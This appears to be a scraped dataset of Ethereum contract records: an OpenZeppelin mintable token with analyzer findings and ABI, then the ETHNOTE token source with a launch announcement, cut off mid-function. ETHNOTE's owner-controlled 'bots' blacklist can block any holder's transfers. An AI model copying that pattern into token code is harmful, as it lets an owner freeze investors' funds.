vent"}]
v0.4.21+commit.dfe3193c
true
200
Default
false
bzzr://7b138b8804112a09c174a97117be0f249452e7fbce7916dacd2f93eff99f20aa
Token
0x6272e1f61ff349417812b2551c706714c26eb83a
Solidity
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } } // File: openzeppelin-solidity/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: contracts/Token.sol pragma solidity ^0.5.0; contract Token is ERC20, ERC20Detailed, MinterRole { //constructor for deploy constructor(string memory TOKEN_NAME, string memory SYMBOL, uint8 DECIMALS,uint INITIAL_SUPPLY) ERC20Detailed(TOKEN_NAME, SYMBOL,DECIMALS) public { //tokenDetail //token supply _mint(msg.sender,INITIAL_SUPPLY); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } }
[]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [416, 417, 414, 415]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [184, 185, 186, 187]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [164, 165, 166, 167, 168, 169, 170, 171]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [472, 473, 471]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [456, 457, 455]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [448, 449, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [288, 289, 290, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [545, 546, 547]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [595, 596, 597]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [323, 324, 325, 326]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [240, 238, 239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [250, 251, 252, 253]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [586, 587, 588, 589]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [541, 542, 543]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [304, 305, 306, 307]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [232, 233, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [272, 269, 270, 271]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [258, 259, 260]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [82]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [517]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [192]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [478]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [562]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [422]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [456, 457, 455]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [472, 473, 471]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [448, 449, 447]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 269, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 82, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 192, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 422, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 478, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 517, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 562, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 222, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 224, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 226, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 429, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 430, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 431, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 526, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 220, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"sender","type":"address"},{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"TOKEN_NAME","type":"string"},{"name":"SYMBOL","type":"string"},{"name":"DECIMALS","type":"uint8"},{"name":"INITIAL_SUPPLY","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.5.8+commit.23d335f2
false
200
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000b2d05e0000000000000000000000000000000000000000000000000000000000000000114f6e6c696e652047616d6520436861696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034f47430000000000000000000000000000000000000000000000000000000000
Default
MIT
false
bzzr://fec060a7d12dad1e322b7db630e4460ca86108a1d55b0f81ea893bd9d98ca64d
ETHNOTE
0x6ae4184e991bf891c368feb79262b751cc6c9fc9
Solidity
/* 📓Hey everyone! ETHNOTE will officially go live for trading within the next 12 hours. Just a quick reminder of how launch will be going down: 🍎 The CA will be posted in the group and website at around 4PM EST, Monday. 🍎 Contract will go live for trading at a random time from 4PM - 10PM EST time, Monday. Talk to you all closer to the launch! 僕達が正義だ。僕達がETHの新神となる。 L and Kira PS: For all newcomers to the group, please be advised that our only official links are as below: 🍎Website: https://www.ethnote.jp.net/ 🍎Telegram: http://t.me/EthNoteOfficial */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ETHNOTE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Eth Note"; string private constant _symbol = "ETHNOTE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xD612217E47255586850154EeD978F368D442e106); _buyTax = 9; _sellTax = 9; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = 